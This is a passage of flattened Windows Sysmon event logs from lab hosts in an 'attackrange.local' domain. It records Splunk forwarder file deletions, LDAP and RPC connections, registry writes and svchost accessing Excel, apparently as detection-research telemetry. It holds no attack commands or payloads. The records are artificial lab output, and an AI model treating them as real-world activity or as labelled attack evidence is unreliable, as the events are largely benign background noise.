354300x800000000000000017363Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:58.426{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50353-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017362Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:59.183{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C8AD666A401C70BF7A1215044E341AF,SHA256=1F1195580ACF5CDF9413875FA1C7A71D32AE326C8C62A1010AA361AAD6772D68,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:59.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FCC0676B5226B8B4DB4C7D30A52FCD62,SHA256=8B4DC739F1A891EA183D23724528846143DF78250EE263F910ECA6041DDC0A6E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:59.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1F3CC036FFF6254C00E29422F2C7CECE,SHA256=D2F38F2250FA2050FD015E17E15704E1CD8BE43601C0C4E187E0EC4790026904,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:00.712{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C5F6758916272030D558E80BAB6B91D8,SHA256=9A95780FCAEB4FA4EE3EB7535E7C08342A57F49BB835BD611AC6DA2346E86952,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017364Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:00.199{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3BB5F9769C1507639C2A588D7E63E1D,SHA256=C562514D386603B889A1EC1B15BD3049409DA2A173636A1FA3BC63E23DFFEC54,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:57.722{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63092-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000054009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:57.722{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63092-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000054012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:01.727{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B2ACA6E355F4D043A6E3F26A3B458707,SHA256=2F2241DE109C2C9FA79F74FCE8694C081CDA2A0CFEC8F78C5EF9F33EF541A0DE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017365Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:01.215{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4C8C7E154A7535371610CD0750348FC6,SHA256=B5C40DD0D621DDE85BFA5E74BC607AB7A7E0EC508CC6C112CE1E4EEBC03FC2F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:02.775{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3BD8F7FAB3B8BFBC02AE6378307EDEC7,SHA256=6BFF7FC215AF3AD6BF6807084808FCD70A3D7852D5965BE801E538CE4B533192,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017367Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:02.340{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=F15652701E07783E48FCBEFA02DB52F8,SHA256=7628DBE822B97A49A45E67016A16CE0FA7027AAFF729A82B6D90A347A44CD619,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017366Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:02.230{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=74A6490576F7D2600283ADF6242B857A,SHA256=03DDC0E1FB25A0D6F2EF7D5C995818199DCF6131FDA36FD896547FBC7B8FE10B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:03.811{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC0BE2846DEEBB0F222DEA85B65FCFC2,SHA256=AC393C808AD82F2216B06F747A79B49F22962BE2332CD25BC4BD2117E3FC718B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017368Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:03.293{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4850E7C631A8A1A6DBF798455AE7A011,SHA256=A3002B8589794C129D81712F7EAFE775B0F83A69D0D7A9CBFC94899C4665C42A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:04.843{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1B83C8ECA07EDA87DD3A941E685538E,SHA256=760CDFB262E1F05F671010CA5E85A7B7E84D1913F5BF42621E2BCE411E1D228B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017379Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:04.324{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6ED49656D6DF3C075F1E9E53F545B07B,SHA256=F0C2F3AA9428E1DE0500AEDBEBC0E25A27654AADAF4CB4BC1F6EF2B87C357DEF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:01.352{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63093-false10.0.1.12-8000- 10341000x800000000000000054017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:04.528{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:04.528{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:04.528{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000017378Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000017377Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x002eccf5) 13241300x800000000000000017376Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64c-0xb6182ecd) 13241300x800000000000000017375Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a655-0x17dc96cd) 13241300x800000000000000017374Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65d-0x79a0fecd) 13241300x800000000000000017373Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000017372Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x002eccf5) 13241300x800000000000000017371Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64c-0xb6182ecd) 13241300x800000000000000017370Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a655-0x17dc96cd) 13241300x800000000000000017369Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:04:04.090{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65d-0x79a0fecd) 23542300x800000000000000054020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:05.861{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2854ADC15C17E9E5039441B25BE9FBA3,SHA256=CFE6B53D77CD002E6DD704C09672C37CC36E5AD8C1F4EF739C0816F96AF1C598,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017381Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:04.458{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50354-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017380Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:05.371{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C133F8F777FBBB56C783CC0BD15A65A9,SHA256=392C3822C961CD9DDD10F7964D835E9ACCAD615E049E7B9193EA9449B89C7CC6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:06.882{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=99EC1D8173B38DC5F666A22744F59982,SHA256=D0309022EA85DA97FE4DA6811A745A259F786A20266D2E5D2657CF276A7A47D4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017382Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:06.386{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9AEFF3096A29966569BF38F44EC55EA6,SHA256=3FE2B595F28B5E0C7AF0C039BA24FF1C85CE74D6E53C77F96FA35AF5EB2F2D5C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:07.913{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=10E784F4675DC64C3244454026551971,SHA256=3FC94B2F5828CCEA2AF9EE598BC53B44C386D0A9A1867220FC165C75A2E0572C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017383Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:07.386{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7AFC16908F2563C748861A939ECF2E08,SHA256=2E85282A61B2347E6CFA68439FFCE8CED8A810661B18AADD702160E6941EBFEA,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000054024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:04:07.260{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Volumes\9752B235-0000-0000-0000-100000000000\Volume Configuration File\\.\C:\System Volume Information\DFSR\Config\Volume_9752B235-0000-0000-0000-100000000000.XML 13241300x800000000000000054023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:04:07.244{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Config SourceDWORD (0x00000001) 13241300x800000000000000054022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:04:07.244{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Replica Set Configuration File\\?\C:\System Volume Information\DFSR\Config\Replica_A9BEF82B-7554-4A26-9673-C40BC60290B0.XML 23542300x800000000000000054035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:08.928{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E80B3585A3830ADB2BA2F0B4B1A43D34,SHA256=B1BA24C5F9D2D57B10E03348085715621F07872346BFCAD0E5C7A825E945725D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017384Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:08.418{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B6AC18C47F80ACBD4FF58383133EDD57,SHA256=4E8D259E15D57EBA6AE0D4FE4746A60EAB36C94FCB0F8730AB507351D88BDBFC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:06.565{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63097-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000054033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:06.565{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63097-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000054032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:06.558{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63096-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000054031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:06.558{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63096-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000054030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:06.554{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63095-false10.0.1.12-8000- 354300x800000000000000054029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:06.540{7BD73061-65B2-613B-0D00-00000000F001}892C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63094-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000054028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:06.539{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63094-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 23542300x800000000000000054027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:08.282{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=EC61DCB573CF1BF11977C8EB7663F027,SHA256=C6FD8E81F9916C76B61AB2C6AB709FB0C9788D1638E10AE083D49C0D0E9CE6A1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:08.282{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FCC0676B5226B8B4DB4C7D30A52FCD62,SHA256=8B4DC739F1A891EA183D23724528846143DF78250EE263F910ECA6041DDC0A6E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:09.965{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BAB6FB93CED2E6EF16F52FF54534AF13,SHA256=26B633CC999F8ABEA4F946EB5E8496CBDBABFFF351CA03C71C01430517EAB62E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017385Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:09.449{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9BE06060C935AB3DEC3BEA6E02F41164,SHA256=24A23896401A16C2A93592B73F67C81B283C7E9A835B22F5A368E0CD9B4DC742,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017386Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:10.511{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3EE711424B737A96B509B959E7C68565,SHA256=4A2D34253236A67EB4C3E56B8939828296BFC2A1615BDC876C551A0F2E47A670,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000054037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:10.050{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000017387Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:11.532{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C984565CE661D4145C6775B97E7125CC,SHA256=CAFDCCACFEA1EC2041B23C0039412C04059C9709BC4C2E9CD972E6864942A3B4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:11.086{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5AE7F51A3FB2895B3F6EC9D61BBB147,SHA256=67780E70E26FA78CB20636686DBB75E64B9CAFD31F85CCAF39427CEEA4DB5B0F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017389Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:12.579{625C326B-6888-613B-DB00-00000000F101}104NT 